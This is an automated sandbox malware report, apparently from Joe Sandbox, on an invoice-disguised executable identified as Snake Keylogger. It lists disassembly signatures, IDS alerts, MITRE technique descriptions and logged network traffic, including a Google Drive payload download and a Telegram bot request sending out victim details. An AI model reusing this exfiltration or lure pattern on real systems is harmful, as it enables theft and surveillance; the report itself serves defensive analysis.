Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F7119h	4_2_3A5F6E70
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FF136h	4_2_3A5FEE68
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F6CC1h	4_2_3A5F6A18
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F48C9h	4_2_3A5F4620
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F7571h	4_2_3A5F72C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FF5C6h	4_2_3A5FF2F8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F2151h	4_2_3A5F1EA8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F2A01h	4_2_3A5F2758
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FB5E6h	4_2_3A5FB318
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FD5D6h	4_2_3A5FD308
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F25A9h	4_2_3A5F2300
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F55D1h	4_2_3A5F5328
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F79C9h	4_2_3A5F7720
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F5E81h	4_2_3A5F5BD8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FDA66h	4_2_3A5FD798
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FFA56h	4_2_3A5FF788
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F5A29h	4_2_3A5F5780
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F2E59h	4_2_3A5F2BB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FBA76h	4_2_3A5FB7A8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F02E9h	4_2_3A5F0040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F3709h	4_2_3A5F3460
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F32B1h	4_2_3A5F3008
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FBF06h	4_2_3A5FBC38
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F62D9h	4_2_3A5F6030
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FDEF6h	4_2_3A5FDC28
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FC396h	4_2_3A5FC0C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F0B99h	4_2_3A5F08F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F0741h	4_2_3A5F0498
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F6733h	4_2_3A5F6488
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then mov esp, ebp	4_2_3A5FB081
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FE386h	4_2_3A5FE0B8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FC826h	4_2_3A5FC558
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FE816h	4_2_3A5FE548
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F0FF1h	4_2_3A5F0D48
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FECA6h	4_2_3A5FE9D8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F18A1h	4_2_3A5F15F8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5FCCB6h	4_2_3A5FC9E8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A5F1449h	4_2_3A5F11A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A666970h	4_2_3A666678
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A666347h	4_2_3A665FD8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66A2D0h	4_2_3A669FD8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A660C2Eh	4_2_3A660960
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A668158h	4_2_3A667E60
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66AC60h	4_2_3A66A968
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66D768h	4_2_3A66D470
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A664746h	4_2_3A664478
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66030Eh	4_2_3A660040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A666E38h	4_2_3A666B40
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A665E16h	4_2_3A665B48
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A669940h	4_2_3A669648
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66C448h	4_2_3A66C150
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A663E26h	4_2_3A663B58
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66EF50h	4_2_3A66EC58
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66F418h	4_2_3A66F120
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A6654F6h	4_2_3A665228
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A668620h	4_2_3A668328
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66B128h	4_2_3A66AE30
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A663506h	4_2_3A663238
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66DC30h	4_2_3A66D938
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66E0F8h	4_2_3A66DE00
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A664BD7h	4_2_3A664908
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A667300h	4_2_3A667008
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A6619DEh	4_2_3A661710
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A669E08h	4_2_3A669B10
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A662BE6h	4_2_3A662918
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66C910h	4_2_3A66C618
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66CDD8h	4_2_3A66CAE0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A6642B6h	4_2_3A663FE8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66F8E0h	4_2_3A66F5E8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A6610BEh	4_2_3A660DF0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A668AE8h	4_2_3A6687F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A6622C6h	4_2_3A661FF8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66B5F0h	4_2_3A66B2F8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66BAB8h	4_2_3A66B7C0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A663996h	4_2_3A6636C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66E5C0h	4_2_3A66E2C8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66079Eh	4_2_3A6604D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A6677C8h	4_2_3A6674D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A661E47h	4_2_3A661BA0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66A798h	4_2_3A66A4A0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A663076h	4_2_3A662DA8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66D2A0h	4_2_3A66CFA8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66FDA8h	4_2_3A66FAB0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A665986h	4_2_3A6656B8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A668FB0h	4_2_3A668CB8
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66154Eh	4_2_3A661280
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A669478h	4_2_3A669180
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A662756h	4_2_3A662488
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66BF80h	4_2_3A66BC88
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A66EA88h	4_2_3A66E790
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A665066h	4_2_3A664D98
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A667C90h	4_2_3A667998
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A691FE8h	4_2_3A691CF0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A690338h	4_2_3A690040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A691B20h	4_2_3A691828
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A691190h	4_2_3A690E98
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A691658h	4_2_3A691360
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A690801h	4_2_3A690508
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then jmp 3A690CC8h	4_2_3A6909D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A813E70
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A813E60
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A810A10
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A8108DE
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	4_2_3A810960

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49982 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49967 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49981 -> 188.114.96.3:443

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZM HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1_SER_W1hRzLv2OKsg5Y8Ur8eTx8b1FZM&export=download HTTP/1.1User-Agent: 5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/155.94.241.186 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2019/10/2024%20/%2007:08:06%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Wuerth_factura_4052073226..exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll

C:\Users\user\Sympodia\broletto\Imminute.dro

C:\Users\user\Sympodia\broletto\Kbenhavnerbegivenhed\theravada.txt

C:\Users\user\Sympodia\broletto\Orfgild.Sub

C:\Users\user\Sympodia\broletto\antagonister.kid

C:\Users\user\Sympodia\broletto\magtpolitiske.ret

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Windows Analysis Report
Wuerth_factura_4052073226..exe

Function 0040327D Relevance: 87.9, APIs: 33, Strings: 17, Instructions: 401
stringfilecomCOMMON

